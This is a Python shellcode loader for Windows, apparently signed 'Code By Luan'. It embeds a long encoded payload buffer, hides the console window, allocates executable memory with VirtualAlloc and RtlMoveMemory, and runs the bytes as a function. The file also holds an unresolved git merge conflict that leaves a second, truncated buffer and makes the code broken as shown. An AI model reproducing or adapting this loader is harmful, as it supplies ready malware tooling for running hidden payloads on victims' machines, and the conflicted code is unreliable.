from ctypes import *

import ctypes
<<<<<<< HEAD
buf =  b""
buf += b"\xba\xcd\x9e\xb8\x81\xdd\xc1\xd9\x74\x24\xf4\x5f\x33"
buf += b"\xc9\xb1\x99\x31\x57\x15\x03\x57\x15\x83\xc7\x04\xe2"
buf += b"\x38\x20\xe7\x71\x3e\x78\xc5\xb3\x67\xf7\xd1\xc7\xcd"
buf += b"\xd1\xd0\x99\x62\x10\x91\xcb\x07\x91\x51\xef\x2a\xe8"
buf += b"\x44\x3f\x5e\x3c\x43\x1c\x8d\x34\xb5\x6f\xee\xd3\xc4"
buf += b"\x99\xbc\xc2\xfa\xed\xed\xb2\xd1\x57\x00\xc5\xf9\x09"
buf += b"\x6e\x57\x67\x6c\x3a\xe7\xce\xad\xb2\x4c\xc9\x24\xe3"
buf += b"\xc9\xbf\x49\x0a\x37\xe3\xc1\x2f\x77\x0a\x07\xca\x4c"
buf += b"\x0c\x9d\x6b\xfb\xea\x63\x96\xac\x42\x3f\x14\x9d\xe6"
buf += b"\xb7\xc0\xdd\x20\x44\xd6\x3b\x1d\x30\xf7\x1f\xf8\x09"
buf += b"\x77\x86\xe9\xe2\x5e\xbe\xe0\x36\x34\x8c\xab\x30\x0c"
buf += b"\xf7\x5a\xb1\xcc\x14\x00\xdf\xf5\xf1\x0a\xf1\xb0\x54"
buf += b"\x7f\x1c\x55\xf8\x40\x46\xa5\x26\x6b\x45\x0e\xa6\xcf"
buf += b"\xbc\x29\x62\x6b\xda\xf9\x5f\x47\xbc\xbf\xac\x7e\xee"
buf += b"\x59\xf5\xa2\xae\x67\xbd\xeb\x41\x1c\xb6\x39\x7a\x09"
buf += b"\x53\x24\x7e\x90\x1c\x1a\x22\x32\xc6\xf8\x20\x41\x27"
buf += b"\x64\x5b\xb6\x94\xaa\x81\xf3\xd6\x00\x89\x1c\x51\xc9"
buf += b"\xf5\xc7\x99\xeb\x69\x96\xf7\xfc\x2e\xfd\xca\x6d\xb0"
buf += b"\x60\x79\x84\xdb\xaa\x81\x5c\x2b\x89\x35\x69\x7d\x4f"
buf += b"\xa5\x5e\xbd\x4f\xcc\x79\xcd\xd0\x4a\xf3\xfd\x0c\xc3"
buf += b"\xf4\xeb\xe2\xa4\x95\x44\x1e\x2b\x6a\xe1\xdc\x25\x1b"
buf += b"\x4e\xa2\xc7\xc9\x70\x6f\x95\x26\x0a\xd9\x8e\xd4\x52"
buf += b"\xdb\x88\xeb\x5c\x04\xd5\xaa\xd6\x4c\xbd\xbc\x3d\xf1"
buf += b"\x6b\xef\x4c\x51\xc4\xc8\x87\x87\x64\xf2\x97\x1a\xc6"
buf += b"\x8b\x19\x78\xd2\x84\x80\xb5\xd8\x5e\x2c\x29\xeb\x0d"
buf += b"\x14\x93\x14\x1f\x60\x31\x5c\x30\xe8\x2a\x02\x0d\x28"
buf += b"\x74\xd9\x5e\x1e\x73\x70\x3b\xba\x3e\x7e\xb8\x2b\xe7"
buf += b"\xfb\xd6\x16\x62\x42\xfa\x58\x65\x73\xb9\xce\x25\x8b"
buf += b"\x24\x19\x2e\xa6\xcc\xd9\xa0\x4c\x91\xc0\xb6\x52\x44"
buf += b"\x53\x66\x06\xb2\x69\x28\x36\x0b\x06\xcf\x67\xa1\x3d"
buf += b"\x7a\x43\xff\xba\xa2\x55\x32\x06\xce\xc6\xfa\x60\xba"
buf += b"\x3a\x72\xfd\x6b\x80\xe2\xfa\xeb\x9b\xb1\x3e\x3f\x82"
buf += b"\xfc\x52\x81\x8c\xb9\x0f\x88\x7b\xf8\x63\x60\x27\xaa"
buf += b"\xa3\x46\xab\x88\x82\x46\x0e\xba\x8c\x91\xd0\x55\xb9"
buf += b"\xd7\x20\xea\xa4\x35\x57\x46\xa6\x80\x0a\xed\xf5\x75"
buf += b"\xc8\xdf\x24\x66\xe7\xd2\x54\xb6\xe4\x55\xae\xbe\xf2"
buf += b"\x3f\x38\xf9\xd7\x13\x0f\xc7\xbb\xc4\x09\x23\x36\x3e"
buf += b"\x5d\xc3\x85\x35\xe2\xa4\x72\xc4\xda\xa2\xd8\x2b\x53"
buf += b"\x85\x6f\xc9\xcb\xc9\xd5\x25\xc0\x23\x23\x28\x4c\xa0"
buf += b"\xd8\xec\xa7\x48\x88\xf9\x4b\x7d\x84\xe7\xb1\x2b\x31"
buf += b"\x38\xab\x3a\x49\x5c\xd4\xec\x11\x90\x35\x0e\xbd\x94"
buf += b"\x53\x3d\x24\x44\xa3\x01\xb5\x5a\x11\x1e\x48\x40\x22"
buf += b"\x42\x09\x31\x5a\xb3\xcb\x5f\x2f\x5f\x67\x94\x57\x1f"
buf += b"\x77\x09\x3f\xc1\x5e\xb0\x9e\xb8\x7e\x2f\x6e\x06\x14"
buf += b"\xc7\x91\x10\xe7\xc9\xd4\xc6\xce\xc8\x64\x50\x14\x5c"
buf += b"\x24\x24\xed\x75\x77\x6d\xa2\x0c\x4f\x37\x21\x4f\x5b"
buf += b"\x05\x5e\xe6\x1b\xbe\x1f\x10\x53\x1d\xb7\xf1\x4f\x45"
buf += b"\x4d\x63\x7d\x4d\x2a\x2b\xec\x8e\xee\x4f\xde\xf2\x6f"
buf += b"\x47\xb3\x9a\x78\x4a\xe6\xe6\x13\x5c\xc4\x41\x45\x1e"
buf += b"\x46"
=======

buf =  ""

buf += "\xbb\x7a\x62\x0a\x22\xdb\xc9\xd9\x74\x24\xf4\x58\x29"


>>>>>>> a635f3cfc515085cf69fee1a09fdd1e6fa6ef72c

#libc = CDLL('libc.so.6')

PROT_READ = 1

PROT_WRITE = 2

PROT_EXEC = 4

def executable_code(buffer):

    buf = c_char_p(buffer)

    size = len(buffer)

    addr = libc.valloc(size)

    addr = c_void_p(addr)

    if 0 == addr: 

        raise Exception("Failed to allocate memory")

    memmove(addr, buf, size)

    if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):

        raise Exception("Failed to set protection on buffer")

    return addr

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc

VirtualProtect = ctypes.windll.kernel32.VirtualProtect

shellcode = bytearray(buf)

whnd = ctypes.windll.kernel32.GetConsoleWindow()   

if whnd != 0:

       if 666==666:

              ctypes.windll.user32.ShowWindow(whnd, 0)   

              ctypes.windll.kernel32.CloseHandle(whnd)

print(".................................."*666)

memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),

                                          ctypes.c_int(len(shellcode)),

                                          ctypes.c_int(0x3000),

                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

old = ctypes.c_long(1)

VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),

                                     buf,

                                     ctypes.c_int(len(shellcode)))

shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

print("Code By Luan")

shell()